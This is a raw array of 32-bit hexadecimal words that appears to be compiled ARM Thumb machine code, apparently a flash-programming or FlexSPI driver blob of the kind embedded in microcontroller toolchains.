0x00f1daf5, 0x1808a803, 0x008078c0, 0x981c9000, 0xd0002800, 0x21ff022d, 0x98010209, 0xd1124288, 0x28509800, 0x2050d901, 0x46229000, 0x46293208, 0x981a9b00, 0xf9bdf7ff, 0x2f004607, 0xe019d000, 0x60609800, 0x4962e011, 0x42889801, 0x4622d10d, 0x4629325c, 0x981a9b00, 0xf9abf7ff, 0x2f004607, 0xe007d000, 0x20582101, 0xbf005501, 0x98021c76, 0xd3a64286, 0xbf00bf00, 0x4638bf00, 0xbdf0b01d, 0xb0a9b5f0, 0x460c4607, 0x26044615, 0x90252000, 0x90279026, 0x22309028, 0x4479494e, 0xf7fda819, 0xbf00fdbb, 0x03006828, 0x28000f00, 0xe044d000, 0x20452104, 0x49485501, 0x51012080, 0x20844947, 0x46215101, 0xf7fe4638, 0x4606fe1f, 0xd0002e00, 0x7828e033, 0x0f000600, 0xd1122801, 0x20ff4934, 0x51013071, 0x51011d00, 0x1d001409, 0x23005101, 0x4621461a, 0xf7fe4638, 0x4606fe24, 0xd0002e00, 0x6828e01b, 0x0f000300, 0xa9190100, 0x23011842, 0x46384619, 0xfde8f001, 0x46692200, 0xf7ff4638, 0x4606ff13, 0xd0002e00, 0x462be007, 0x4621466a, 0xf7ff4638, 0x4606fc60, 0xbf00bf00, 0xb0294630, 0xb5f0bdf0, 0x4607b08b, 0x4615460c, 0x2103461e, 0x72014668, 0x90042000, 0x90052001, 0x90030060, 0x46682100, 0x95097601, 0xa902960a, 0xf0014638, 0x9001fc82, 0xb00b9801, 0xb5f0bdf0, 0x4607b08b, 0x4615460c, 0x2102461e, 0x72014668, 0x90042001, 0x00609005, 0x21009003, 0x76014668, 0x96089507, 0x4638a902, 0xfc67f001, 0x98019001, 0xbdf0b00b, 0x06ff06ff, 0x06000600, 0x32101e00, 0x00002404, 0x7c01a604, 0x7c012604, 0x00004e27, 0x50444653, 0x0000ff84, 0x00002b9e, 0x08180403, 0x00012404, 0xb087b5f0, 0x460c4607, 0x4dfe4616, 0x2003bf00, 0x210873e0, 0x55012045, 0x64202058, 0x73202003, 0xd0032e00, 0x6c202101, 0x64204308, 0x20472101, 0x210f5501, 0x5301207c, 0x207e2101, 0x02495301, 0x30c120ff, 0x02495101, 0x51011d00, 0x20ff5901, 0x510130d1, 0x1fc02101, 0x46215501, 0xf7fe4638, 0x4605fd63, 0xd0002d00, 0x2000e13e, 0x90049003, 0x90069005, 0x900348e4, 0x900448e4, 0xaa032301, 0x46384619, 0xfd40f001, 0x90032000, 0x90059004, 0x48dd9006, 0x90033080, 0x900448dd, 0xaa032301, 0x46382100, 0xfd30f001, 0x02c02013, 0x23029002, 0x49d8aa02, 0xf7ff4638, 0x4605ff70, 0xd0002d00, 0x2308e112, 0x2110466a, 0xf7ff4638, 0x4605ff4a, 0xd0002d00, 0x9801e108, 0x9001b280, 0x980049ce, 0xd1044288, 0x02092159, 0x42889801, 0x4dc5d001, 0x2308e0fa, 0x2127466a, 0xf7ff4638, 0x4605ff32, 0xd0002d00, 0x9800e0f0, 0x9000b280, 0x0a009800, 0x98009000, 0xd3072817, 0x28209800, 0x2001d804, 0x40889900, 0xe0016520, 0xe0dd4db6, 0x0300200f, 0x23029002, 0x2100aa02, 0xf7ff4638, 0x4605ff2e, 0xd0002d00, 0x49b0e0d0, 0x20803180, 0x49b35101, 0x51012084, 0x208849b2, 0x49b25101, 0x51012090, 0x209449b1, 0x49b15101, 0x51012098, 0x209c49b0, 0x49a55101, 0x20a03180, 0x49ae5101, 0x510120a4, 0x20a849a7, 0x49a75101, 0x510120b0, 0x20b449a6, 0x49a65101, 0x510120b8, 0x20bc49a3, 0x49a15101, 0x510120c0, 0x20c449a4, 0x49a45101, 0x510120c8, 0x20cc49a1, 0x499b5101, 0x301120ff, 0x499a5101, 0x51011d00, 0x1d004999, 0x499d5101, 0x51011d00, 0x3920498d, 0x51011d00, 0x1d00499a, 0x49915101, 0x510120d0, 0x20d44990, 0x49905101, 0x510120d8, 0x20dc4995, 0x498b5101, 0x510120e0, 0x20e4498a, 0x498a5101, 0x510120e8, 0x20ec4987, 0x49855101, 0x510120f0, 0x20f44988, 0x49885101, 0x510120f8, 0x20fc4985, 0x49785101, 0x1d003920, 0x49875101, 0x51011d00, 0x1d004986, 0x497a5101, 0x303120ff, 0x49795101, 0x51011d00, 0x1d004978, 0x497e5101, 0x51011d00, 0x1d004973, 0x49735101, 0x51011d00, 0x1d004972, 0x49705101, 0x51011d00, 0x1d00496d, 0x49715101, 0x51011d00, 0x1d004970, 0x496e5101, 0x51011d00, 0x1d004967, 0x49675101, 0x51011d00, 0x1d004966, 0x496f5101, 0x51011d00, 0x20ff2102, 0x55013089, 0x1c402103, 0x21025501, 0x55011f40, 0x1c402101, 0x21025501, 0x309120ff, 0x21095501, 0x55011c40, 0x1f402104, 0x21055501, 0x55011c40, 0x1dc02104, 0x210b5501, 0x55011c40, 0x20ff2101, 0x550130cd, 0xbf002500, 0x4628bf00, 0xbdf0b007, 0xb094b5f7, 0x4615460c, 0x90132004, 0x2d00bf00, 0xe0fbd100, 0x78297868, 0xd1024288, 0x90132000, 0x2603e0f4, 0x21082701, 0x55012045, 0x28427868, 0x7868d002, 0xd1032841, 0x21042602, 0x55012045, 0x28827868, 0x7868d002, 0xd1002842, 0x20002721, 0x2100900b, 0x7601a808, 0x20017201, 0x2120900c, 0xf002a802, 0x78e8fa32, 0xd01a2806, 0xd02f2807, 0xd1792808, 0x21030230, 0x40080209, 0x43082106, 0x02892101, 0x90021840, 0x21030230, 0x40080209, 0x430821ff, 0x02892101, 0x90061840, 0x900d2002, 0x0230e07d, 0x02092103, 0x21664008, 0x21014308, 0x18400289, 0x02309002, 0x02092103, 0x21994008, 0x21014308, 0x18400289, 0x20029006, 0xe066900d, 0x21030230, 0x40080209, 0x43082166, 0x223f02b9, 0x40110292, 0x21994308, 0x18400409, 0x22030631, 0x40110612, 0x06b94308, 0x06890e89, 0x90024308, 0x14110230, 0x21994008, 0x02b94308, 0x0292223f, 0xe02a4011, 0x00004e29, 0x8b188720, 0xa3028f10, 0xa7048f10, 0x00000555, 0x52005100, 0xb3068f10, 0x0000a704, 0x87008700, 0x87aa8700, 0x87058700, 0x87708700, 0xb70b8f10, 0x87558700, 0x87028700, 0x87a08700, 0xa3808f10, 0x87808700, 0x87008f10, 0x00008730, 0x87108700, 0x4308e016, 0x04492133, 0x06311840, 0x06122203, 0x43084011, 0x0e8906b9, 0x43080689, 0x2f219006, 0x2140d103, 0x43086c20, 0x20026420, 0xe002900d, 0x900d2001, 0xbf00bf00, 0x20462101, 0x06085501, 0x48fe6520, 0x48fe6020, 0x20036060, 0x73a07360, 0x30c920ff, 0x200a5501, 0x46216760, 0xf7fe9814, 0x9013fb37, 0x28009813, 0xe01bd000, 0x2101aa02, 0x98149b0d, 0xfb1cf001, 0x9814a90a, 0xf9dff001, 0x217d9013, 0x48ef00c9, 0x68004448, 0xf96bf002, 0xe0039001, 0x9801bf00, 0x90011e40, 0x28009801, 0xbf00d1f8, 0x9813bf00, 0xbdf0b017, 0xb09eb5f7, 0x48e5460c, 0x9820901d, 0x02006800, 0x28050f00, 0x2001d101, 0x2000e000, 0x22309011, 0x447949df, 0xf7fda805, 0xbf00fa85, 0x88009820, 0x0f070400, 0x68009820, 0x0f050300, 0xd0042f00, 0xd0022f03, 0x901d2004, 0x2d00e267, 0x2d03d004, 0x2004d002, 0xe260901d, 0xd1042d03, 0xd1022f00, 0x901d2004, 0x2d00e259, 0xa802d11a, 0xfe22f7fd, 0x2000901d, 0xfe19f7fd, 0x2800981d, 0xaa02d109, 0x981e4621, 0xfeb2f7ff, 0x981d901d, 0xd0002800, 0x2000e243, 0x20107320, 0x20036420, 0xe011901c, 0xd10f2d03, 0x73202003, 0x64202010, 0x68009820, 0x0f000200, 0xd1032804, 0x6c202140, 0x64204308, 0x901c2006, 0xd1032f00, 0xd1012d00, 0x90112001, 0xd1032f03, 0x20452108, 0xe0025501, 0x20452101, 0x46215501, 0xf7fe981e, 0x901dfa9d, 0x2800981d, 0xe212d000, 0x90042000, 0xd1012d00, 0xe0079004, 0x28009811, 0x2001d002, 0xe0019004, 0x90042002, 0x01009804, 0x1842a905, 0x46192301, 0xf001981e, 0x2000fa71, 0x21009015, 0x7001a818, 0xa8102103, 0x20017401, 0x90179016, 0x901ba812, 0x981ea914, 0xf927f001, 0x981d901d, 0xd0002800, 0xa812e1e5, 0x98039003, 0x28c27800, 0xe1ded000, 0xd1072d00, 0x78819803, 0x20013930, 0x40880400, 0xe0066520, 0x79409803, 0x21013830, 0x40810409, 0x21016521, 0x20ff0309, 0x510130c5, 0x1f001109, 0x02095101, 0x30d120ff, 0x20035101, 0x20107320, 0x21016420, 0x40489811, 0x2d004606, 0x2f03d156, 0x2001d154, 0x20027420, 0x20017460, 0x21068260, 0x75207561, 0x46682100, 0x21077201, 0x2e0072c1, 0x2082d01e, 0x72484669, 0x61a02002, 0x20e04972, 0x49715101, 0x20e43972, 0x49705101, 0x510120e8, 0x78009820, 0x0f000600, 0xd1042803, 0x20ff2101, 0x550130cb, 0x2100e026, 0x30cb20ff, 0xe0215501, 0x46692081, 0x20027248, 0x496361a0, 0x510120e0, 0x20e44963, 0x49615101, 0x510120e8, 0x77202001, 0x20212107, 0x21015501, 0x55012020, 0x63202001, 0x20f04959, 0x49585101, 0x20f43972, 0x49575101, 0x510120f8, 0xf7fd9802, 0xbf00fd2a, 0x20b04955, 0x49555101, 0x51012090, 0xd11e2f00, 0x73202001, 0x20804952, 0x49525101, 0x51012084, 0x1d89494f, 0x301120ff, 0x494f5101, 0x51011d00, 0x3115494b, 0x510120d0, 0x31d04949, 0x300120ff, 0x21235101, 0x20ff0149, 0x51013031, 0x2e00e138, 0x2221d001, 0x2201e000, 0x2e004610, 0x2222d001, 0x2202e000, 0x2e004611, 0x222cd001, 0x220ce000, 0x2e009202, 0x2229d001, 0x2209e000, 0x2e009201, 0x2228d001, 0x2208e000, 0x02829200, 0x029b233f, 0x4b31401a, 0x431a3b18, 0x041b2311, 0x230318d2, 0x18d2061b, 0x0e9b0683, 0x431a069b, 0x511a2380, 0x233f028a, 0x401a029b, 0x015b2319, 0x2303431a, 0x18d2045b, 0x18d201db, 0x069b9b02, 0x069b0e9b, 0x2384431a, 0x9a01511a, 0x233f0292, 0x401a029b, 0x009b23c1, 0x2388431a, 0x0282511a, 0x029b233f, 0x4b1e401a, 0x23f9431a, 0x18d2041b, 0x061b2303, 0x0683431a, 0x069b0e9b, 0x23c0431a, 0x0282511a, 0x029b233f, 0x4b15401a, 0x431a1e5b, 0x045b237d, 0x230318d2, 0x431a061b, 0x0e9b0683, 0x431a069b, 0x511a23a0, 0xe01b0282, 0x42464346, 0x56010400, 0x0000020c, 0x00004e29, 0x00002562, 0x04000472, 0x20010400, 0x04020400, 0x00000406, 0x24040405, 0x0820040c, 0x24043308, 0x00002004, 0x00000306, 0x029b233f, 0x2303401a, 0x431a021b, 0x18d2041b, 0x0e9b0683, 0x431a069b, 0x511a23a4, 0x233f0282, 0x401a029b, 0x021b2303, 0x041b431a, 0x068318d2, 0x069b0e9b, 0x23a8431a, 0x9a01511a, 0x233f0292, 0x401a029b, 0x009b23c1, 0x23ac431a, 0x0282511a, 0x029b233f, 0x4bfa401a, 0x23ed431a, 0x18d2041b, 0x061b2303, 0x0683431a, 0x069b0e9b, 0x22ff4313, 0x51133211, 0x233f028a, 0x401a029b, 0x015b2319, 0x2301431a, 0x18d2049b, 0x061b2303, 0x9a0018d3, 0x0e920692, 0x43130692, 0x321522ff, 0x02825113, 0x029b233f, 0x4be6401a, 0x431a330f, 0x045b236f, 0x230318d2, 0x431a061b, 0x0e9b0683, 0x431a069b, 0x511a23d0, 0x233f028a, 0x401a029b, 0x015b2319, 0x23d4431a, 0x0282511a, 0x029b233f, 0x23f7401a, 0x431a009b, 0x041b2323, 0x230318d2, 0x18d3061b, 0x0e920682, 0x43130692, 0x320122ff, 0x028a5113, 0x029b233f, 0x2319401a, 0x431a015b, 0x330523ff, 0x0282511a, 0x029b233f, 0x231b401a, 0x431a015b, 0x041b239f, 0x230318d2, 0x431a061b, 0x0e9b0683, 0x4313069b, 0x323122ff, 0x2e005113, 0x2340d003, 0x431a6c22, 0x22026422, 0x33cd23ff, 0xbf00551a, 0xbf00bf00, 0xb021981d, 0xb5f7bdf0, 0x460cb0a6, 0x4eb84615, 0x49b82220, 0xa81e4479, 0xfffef7fc, 0x02006828, 0x28070f00, 0x2001d101, 0x2000e000, 0xbf00901d, 0x03006828, 0x28000f00, 0x4668d116, 0xfbacf7fd, 0x20004606, 0xfba3f7fd, 0xd1082e00, 0x4621466a, 0xf7ff9826, 0x4606fc3d, 0xd0002e00, 0x2000e104, 0x20107320, 0xe0036420, 0x73202003, 0x64202050, 0x20452108, 0x46215501, 0xf7fe9826, 0x4606f845, 0xd0002e00, 0x6828e0f0, 0x0f000300, 0xd1062800, 0xaa1e2301, 0x98264619, 0xf826f001, 0x6828e00c, 0x0f000300, 0xd1062803, 0xaa222301, 0x98264619, 0xf81af001, 0xe0d7e000, 0x20452108, 0x22005501, 0x9826a904, 0xf940f7ff, 0x2e004606, 0xe0cbd000, 0xaa03ab02, 0x4620a904, 0xfdbff7fe, 0x2800981d, 0x2050d103, 0x20036420, 0x49807320, 0x20b031f4, 0x49815101, 0x51012090, 0x90012000, 0x03006828, 0x28030f00, 0x8828d004, 0x0f000400, 0xd1012803, 0x90012001, 0x28009801, 0x8828d15a, 0x0f000400, 0xd1542800, 0x061b2301, 0x429a6d22, 0x2020d302, 0xe001218e, 0x21c22018, 0xb2d29a03, 0x029b2301, 0x040318d2, 0x043f27ff, 0x431a403b, 0x06db2301, 0x22d018d3, 0x9a025113, 0x2301b2d2, 0x18d2029b, 0x403b0403, 0x2301431a, 0x18d306db, 0x320122ff, 0xb2ca5113, 0x029b2301, 0x040318d2, 0x431a403b, 0x061b2303, 0x230118d2, 0x18d306db, 0x321122ff, 0x23475113, 0x1d1201db, 0x9a1d5113, 0xd1062a00, 0x22804b56, 0x4b565113, 0x51132284, 0x4b55e005, 0x51132280, 0x22844b54, 0x23235113, 0x22ff015b, 0x51133231, 0x22ff2301, 0x551332cf, 0xe04be04b, 0x20a0494e, 0x494e5101, 0x51012080, 0x20844948, 0x494c5101, 0x510120c0, 0x39dc4949, 0x510120d0, 0x39214947, 0x300120ff, 0x213b5101, 0x20ff0149, 0x51013031, 0x39eb4942, 0x301120ff, 0x49425101, 0x51011d00, 0x03006828, 0x28000f00, 0x2100d11f, 0x70014668, 0x70c12106, 0x70412182, 0xf7fd9800, 0x2001faae, 0x20027420, 0x20e77460, 0x210661a0, 0x20017561, 0x82607520, 0x20e04934, 0x49335101, 0x20e43981, 0x49325101, 0x510120e8, 0x2102bf00, 0x30cd20ff, 0xbf005501, 0x4630bf00, 0xbdf0b029, 0xb0bcb5f7, 0x481e460c, 0x983e903b, 0x02006800, 0x28090f00, 0x2001d101, 0x2000e000, 0x22504606, 0x44794924, 0xf7fca827, 0xbf00febf, 0x90262000, 0x20452104, 0x983e5501, 0x03006800, 0x90250f00, 0x8800983e, 0x0f050400, 0x64202010, 0x28009825, 0x4668d138, 0xfa68f7fd, 0x2000903b, 0xfa5ff7fd, 0x2800983b, 0x466ad128, 0x983c4621, 0xfaf8f7ff, 0x983b903b, 0xd01f2800, 0x0000e1d9, 0x00000312, 0x00004e29, 0x00002084, 0x24040405, 0x8b2004fd, 0xa704b306, 0x0b2004fc, 0x27043306, 0xa7040705, 0x8b2007fd, 0x00000706, 0x0000a304, 0x04000481, 0x00002001, 0x00001e26, 0x20452101, 0x20005501, 0xe0157320, 0x28029825, 0x2104d105, 0x55012045, 0x73202003, 0x9825e00c, 0xd1082803, 0x21087320, 0x55012045, 0xd1032e00, 0x90262001, 0xe19ee000, 0xd0042d00, 0xd0022d02, 0xd0002d03, 0x9825e197, 0xd1022800, 0xd1002d00, 0x2d022601, 0x2104d102, 0x55012045, 0xd1022d03, 0x20452108, 0x2e005501, 0x2140d004, 0x43886c20, 0xe0036420, 0x6c202140, 0x64204308, 0x983c4621, 0xfeaef7fd, 0x983b903b, 0xd0002800, 0x2000e173, 0x2e009024, 0x9825d00f, 0xd0022802, 0xd1062803, 0x2001e002, 0xe0059024, 0x90242002, 0x2000e002, 0xbf009024, 0x9825e00f, 0xd0022802, 0xd1062803, 0x2003e002, 0xe0059024, 0x90242004, 0x2000e002, 0xbf009024, 0x9824bf00, 0xa9270100, 0x23011842, 0x983c4619, 0xfe6cf000, 0x9a26a90b, 0xf7fe983c, 0x903bff97, 0x2800983b, 0xe13cd000, 0xaa0aab09, 0x4620a90b, 0xfc15f7fe, 0x73202003, 0x20b049fd, 0x49fd5101, 0x51012090, 0x9508462f, 0x95069507, 0xd0012e00, 0xe0002002, 0x90052022, 0xd0012e00, 0xe000200c, 0x9004202c, 0xd0012e00, 0xe0002009, 0x90032029, 0xd0012e00, 0xe0002108, 0x91022128, 0x21030228, 0x40080209, 0x4308210b, 0x02892101, 0x02c91840, 0x06391840, 0x06122203, 0x43084011, 0x06899905, 0x06890e89, 0x21804308, 0x98085108, 0x14110200, 0x21044008, 0x99044308, 0x223f0289, 0x40110292, 0x21014308, 0x18400489, 0x06099906, 0x06122203, 0x43084011, 0x06899903, 0x06890e89, 0x21844308, 0x02285108, 0x40081411, 0x43082120, 0x18400149, 0x184102c9, 0x40100638, 0x99054308, 0x0e890689, 0x43080689, 0x510821d0, 0x14110228, 0x21d84008, 0x21014308, 0x18400289, 0x184002c9, 0x40110639, 0x99054308, 0x0e890689, 0x43010689, 0x300120ff, 0x02285101, 0x40081411, 0x43082102, 0x18400249, 0x184002c9, 0x40110639, 0x99054308, 0x0e890689, 0x43010689, 0x301120ff, 0x98075101, 0x14110200, 0x21804008, 0x99024308, 0x223f0289, 0x40110292, 0x21ff4308, 0x51083115, 0x21030228, 0x40080209, 0x43082160, 0x02892101, 0x21ff1840, 0x51083131, 0xd0012d02, 0xd1252d03, 0x21030228, 0x40080209, 0x43082105, 0x02892101, 0x02091840, 0x99061840, 0x22030609, 0x40110612, 0x99034308, 0x0e890689, 0x43080689, 0x510821a0, 0x14110228, 0x21064008, 0x21014308, 0x18400289, 0x510821c0, 0x20ff2102, 0x550130cd, 0x61a02000, 0xd1042d02, 0x69a00469, 0x61a04308, 0x2d03e006, 0x2101d104, 0x69a004c9, 0x61a04308, 0xd1052e00, 0x05c92101, 0x430869a0, 0xe00661a0, 0x6c202180, 0x64204308, 0x20792101, 0x49855501, 0x510120e0, 0x20e44984, 0x20015101, 0x2d007420, 0x2002d002, 0xe0017460, 0x74602000, 0x75612106, 0x75202001, 0x20008260, 0x71084669, 0xd00e2e00, 0xd1022d02, 0x71482041, 0x2d03e018, 0x2081d103, 0x71484669, 0x2000e012, 0x71484669, 0x2d02e00e, 0x2042d103, 0x71484669, 0x2d03e008, 0x2082d103, 0x71484669, 0x2000e002, 0x71484669, 0x46692008, 0x980171c8, 0xf87bf7fd, 0x903b2000, 0xbf00bf00, 0xb03f983b, 0xb5f8bdf0, 0x460c4607, 0x26044615, 0x2c00bf00, 0x2d00d001, 0xe05ed100, 0x02492101, 0xf0014620, 0x2101fb6a, 0x55012046, 0x65200608, 0x6020485a, 0x6060485a, 0x73602003, 0x20ff73a0, 0x550130c9, 0x02006828, 0x00030f00, 0xfc7cf001, 0x0e07060a, 0x241d1c15, 0x342d2c25, 0x462abf00, 0x46384621, 0xfebcf7fe, 0xe0274606, 0x46212201, 0xf7fe4638, 0x4606ff65, 0x2200e020, 0x46384621, 0xff5ef7fe, 0xe0194606, 0x462abf00, 0x46384621, 0xf9d8f7ff, 0xe0114606, 0x462abf00, 0x46384621, 0xfc61f7ff, 0xe0094606, 0x462abf00, 0x46384621, 0xfd8ef7ff, 0xe0014606, 0xbf002604, 0x2e00bf00, 0x4620d107, 0xfff6f7fc, 0x07017828, 0x20460f09, 0x21015501, 0x55012044, 0xbf00bf00, 0xbdf84630, 0xb083b5ff, 0x2704460c, 0x2c00bf00, 0xe070d100, 0x30c520ff, 0x42455900, 0x400d9905, 0x98059906, 0x42401840, 0x31c521ff, 0x42495909, 0x42464008, 0x30ca20ff, 0x28005d00, 0x20ffd104, 0x590030d1, 0xd1122800, 0x462ae00e, 0x98034621, 0xff15f7fd, 0x2f004607, 0x4638d002, 0xbdf0b007, 0x30c520ff, 0x19455900, 0xd3ee42b5, 0xe03fe042, 0x30d120ff, 0x46285901, 0x28004388, 0x2001d101, 0x2000e000, 0x1b709002, 0x98029001, 0xd0202800, 0x30d120ff, 0x98015901, 0xd81a4281, 0x4621462a, 0xf7fd9803, 0x4607ff5a, 0xd00d2f00, 0xe7d54638, 0x00000406, 0x24040405, 0x04000471, 0x00002003, 0x42464346, 0x56010400, 0x30d120ff, 0x19455900, 0x462ae00d, 0x98034621, 0xfed1f7fd, 0x2f004607, 0x4638d001, 0x20ffe7ba, 0x590030c5, 0xbf001945, 0xd3bd42b5, 0xbf00bf00, 0xe7af4638, 0xb08db5ff, 0x4614460f, 0x20049d16, 0xbf00900c, 0xd0032f00, 0xd0012c00, 0xd1002d00, 0x9701e02d, 0xf0009801, 0x9002f846, 0x46692003, 0x20017308, 0x20009006, 0x98029005, 0xe01a7708, 0x42854811, 0xe000d900, 0x46064628, 0x90049810, 0x960b940a, 0x980da903, 0xfad3f000, 0x980c900c, 0xd0002800, 0x1bade009, 0x19809810, 0x08b09010, 0x19040080, 0x2d00bf00, 0xbf00d1e2, 0xbf00bf00, 0xb011980c, 0x0000bdf0, 0x0000ffff, 0x22016801, 0x60014311, 0x6801bf00, 0x0fc907c9, 0xd1fa2900, 0x49fe4770, 0x21026181, 0x477061c1, 0x618149fb, 0x61c12101, 0x46014770, 0x6c082204, 0x28004010, 0x2001d001, 0x20004770, 0x4601e7fc, 0x6c082220, 0x28004010, 0x2001d001, 0x20004770, 0x4601e7fc, 0x07c06c08, 0x28000fc0, 0x2001d001, 0x20004770, 0x4601e7fc, 0x6c082208, 0x28004010, 0x2001d001, 0x20004770, 0x4601e7fc, 0x6c082202, 0x28004010, 0x2001d001, 0x20004770, 0x4601e7fc, 0x6c082240, 0x28004010, 0x2001d001, 0x20004770, 0x4601e7fc, 0x29002000, 0x008ad103, 0x447b4bd9, 0x47705898, 0xb08db5f3, 0x2004460c, 0xbf00900c, 0xf7ff980d, 0x4605ffee, 0x900a2001, 0xd0042d00, 0xd0022c00, 0x28037b20, 0xe0cfdd00, 0x28007b20, 0x2801d006, 0x2802d005, 0x2803d004, 0xe004d110, 0xbf00bf00, 0x900a2001, 0x4620e00b, 0xffbdf7ff, 0xd0022800, 0x900a2001, 0x2000e001, 0xe000900a, 0xbf00bf00, 0x2800980a, 0x20ffd004, 0x90073001, 0xe07e9008, 0x2102aa09, 0xf7fc980d, 0x2000fd35, 0x49b99006, 0x42889809, 0x2180d306, 0x40086c20, 0xd1012800, 0x90062001, 0x28009806, 0x2079d003, 0x90089007, 0x2000e064, 0xe05e9005, 0x00419805, 0x30784620, 0x78401808, 0x98059004, 0x46200041, 0x5c403078, 0x98049003, 0xd13b2800, 0x00419805, 0x30784620, 0x21645c47, 0x2f00434f, 0x4620d127, 0xff7df7ff, 0xa9029001, 0x980d9a01, 0xfd44f7fc, 0x28009801, 0x489dd10d, 0xf0019902, 0x0840f978, 0x00c9217d, 0x214b4348, 0xf0019000, 0x1c46f970, 0x4896e00c, 0xf0019902, 0x0880f96a, 0x00c9217d, 0x214b4348, 0xf0019000, 0x1c46f962, 0x214be00b, 0xf0014638, 0x4606f95c, 0x4370204b, 0xd20242b8, 0xe0001c76, 0x273f9e04, 0xd90042be, 0x0270463e, 0x0249213f, 0x21ff4008, 0x43083101, 0x00899905, 0x5050aa07, 0x1c409805, 0x98059005, 0xd39d2802, 0x6828bf00, 0x40082102, 0xd0022800, 0x900b2000, 0x2001e001, 0x980b900b, 0xd0032800, 0x21026828, 0x60284308, 0x28006d20, 0x6d60d102, 0xd0022800, 0x990720c0, 0x6da05141, 0xd1022800, 0x28006de0, 0x20c4d002, 0x51419908, 0x2800980b, 0x6828d003, 0x43882102, 0x20006028, 0xbf00900c, 0x980cbf00, 0xbdf0b00f, 0xb083b5ff, 0x460f4606, 0x2004461d, 0xbf009002, 0xd0042e00, 0x28009805, 0x2d00d001, 0xe017d100, 0x9905485d, 0xf8f9f001, 0x98019001, 0x46014368, 0xf0014638, 0x4604f8f2, 0x1c64e000, 0x99014620, 0x43684348, 0xd3f842b8, 0x20006034, 0xbf009002, 0x9802bf00, 0xbdf0b007, 0x4606b57f, 0x484f460c, 0x90029003, 0xf7ff4630, 0x4605feda, 0xd0012d00, 0xd1022c00, 0xb0042004, 0xaa01bd70, 0x46302102, 0xfc48f7fc, 0x2101466a, 0xf7fc4630, 0x2301fc43, 0x4943029b, 0x9a01a803, 0xffb2f7ff, 0x029b2301, 0xa802493f, 0xf7ff9a00, 0x493cffab, 0x42889803, 0x4608d901, 0x49399003, 0x42889802, 0x4608d901, 0x98039002, 0x0c000400, 0x99020400, 0x4308b289, 0x20006068, 0x21bce7cf, 0x22015809, 0x22bc4311, 0xbf005011, 0x580921bc, 0x0fc907c9, 0xd1f92900, 0x21b84770, 0x22015809, 0x22b84311, 0xbf005011, 0x580921b8, 0x0fc907c9, 0xd1f92900, 0xbf004770, 0x580921e0, 0x0fc907c9, 0xd0f92900, 0x21e0bf00, 0x22025809, 0x29024011, 0x4770d1f9, 0x221e6941, 0x61414311, 0xb5f34770, 0x460cb085, 0x90042004, 0x2000bf00, 0x98059001, 0xfe69f7ff, 0x2f004607, 0x2c00d001, 0xe078d100, 0x30504620, 0x26009000, 0x9800e06e, 0x90036800, 0x1d009800, 0x98039000, 0x00b20a81, 0x30604638, 0x7ba05081, 0x0ec006c0, 0x01497b61, 0x0152221f, 0xe00b4011, 0x5af05af0, 0x0000175a, 0x05f5e100, 0x3b9aca00, 0x0000ffff, 0x1dcd6500, 0x7be14308, 0x220f02c9, 0x401102d2, 0x46054308, 0xf7ff4620, 0x2800fe14, 0x2001d002, 0x43050280, 0x28006f60, 0xaa02d00f, 0x98052102, 0xfba0f7fc, 0x6f612301, 0x9a02a801, 0xff10f7ff, 0x04009801, 0x04000c00, 0x00b14305, 0x30704638, 0x25005045, 0x5d002047, 0xd0192800, 0x309120ff, 0x01405d00, 0x400821e0, 0xd0112800, 0x309220ff, 0x02005d00, 0x0209210f, 0x43054008, 0x309120ff, 0x1e405d00, 0x21070340, 0x40080349, 0xe0024305, 0x02002009, 0x00b14305, 0x30804638, 0x1c765045, 0xd38e2e04, 0x90042000, 0xbf00bf00, 0xb0079804, 0xb5f0bdf0, 0x460d4603, 0xbf002704, 0xd0012b00, 0xd1002d00, 0x2044e025, 0x28015d40, 0x68d8d10c, 0x00760846, 0x43062040, 0xf7ff4628, 0x2800fd94, 0x2001d001, 0x60de4306, 0x212068d8, 0x60d84308, 0xe00a2400, 0x461800a1, 0x58403020, 0x400849fd, 0x461a00a1, 0x50503220, 0x2c031c64, 0x2700d3f2, 0xbf00bf00, 0xbdf04638, 0x4606b570, 0x4630bf00, 0xfdadf7ff, 0x2d004605, 0xe010d100, 0xe00b2400, 0x462800a1, 0x58403080, 0x07c92101, 0x00a24308, 0x31804629, 0x1c645088, 0xd3f12c04, 0xbf00bf00, 0xb5f3bd70, 0x460db089, 0x90082004, 0xf7ff9809, 0x4604fd8e, 0x2c00bf00, 0x2d00d004, 0x7828d002, 0xdd002803, 0x2000e122, 0x7c289007, 0x46209006, 0xfef5f7ff, 0xf7ff9809, 0x4620ffc7, 0xfefef7ff, 0x686920a0, 0x78285101, 0xd1022802, 0xb2808b28, 0x78289007, 0xd1022803, 0xb2808c28, 0x89289007, 0x210f0400, 0x40080409, 0x1e497b29, 0x22070609, 0x40110612, 0x99064308, 0x0fc907c9, 0x430807c9, 0x43089907, 0x21a49007, 0x51089807, 0x28037828, 0x6a2ed167, 0x403869ef, 0xd0002800, 0x2080e0e6, 0x98059005, 0x90040900, 0x08409805, 0x98049003, 0x00801e40, 0x4008213c, 0x510821b8, 0xf7ff4620, 0x20b0fea0, 0x21015900, 0x21b04308, 0xe0445108, 0x30f91de0, 0x428e9903, 0x9a03d314, 0x69620891, 0x401a2320, 0xd00c2a00, 0xc804e001, 0x460ac704, 0x2a001e49, 0x9a03d1f9, 0x69621ab6, 0x431a2320, 0xe0236162, 0x590921f0, 0x0d490609, 0xd31d42b1, 0xc802e002, 0x1f36c702, 0xd2fa2e04, 0xd0142e00, 0x91026801, 0x9101a902, 0x21009700, 0x9a01e00a, 0x9a007813, 0x9a017013, 0x92011c52, 0x1c529a00, 0x1c499200, 0xd3f242b1, 0x2600bf00, 0x22086961, 0x29004011, 0xe002d000, 0x2e00bf00, 0xbf00d1b8, 0x7828bf00, 0xd0022802, 0x28017828, 0x69aed15a, 0x07b8696f, 0x28000f80, 0xe077d000, 0x90052080, 0x09009805, 0x98059004, 0x90030840, 0x1e409804, 0x213c0080, 0x21bc4008, 0x46205108, 0xfe23f7ff, 0x90022000, 0x4620e03a, 0x308130ff, 0x22406961, 0x29004011, 0x9a03d02b, 0x9a030891, 0xd3094296, 0xcf04e001, 0x460ac004, 0x2a001e49, 0x9a03d1f9, 0xe00c1ab6, 0x2e00e007, 0x1f36dd03, 0xc004cf04, 0x2200e001, 0x460ac004, 0x2a001e49, 0x9a02d1f3, 0xd1072a00, 0x591222b0, 0x431a2301, 0x511a23b0, 0x92022201, 0x23406962, 0x6162431a, 0x6961bf00, 0x40112208, 0xd0002900, 0xbf00e002, 0xdcc22e00, 0xbf00bf00, 0x28007828, 0x20b0d105, 0x21015900, 0x21b04308, 0x46205108, 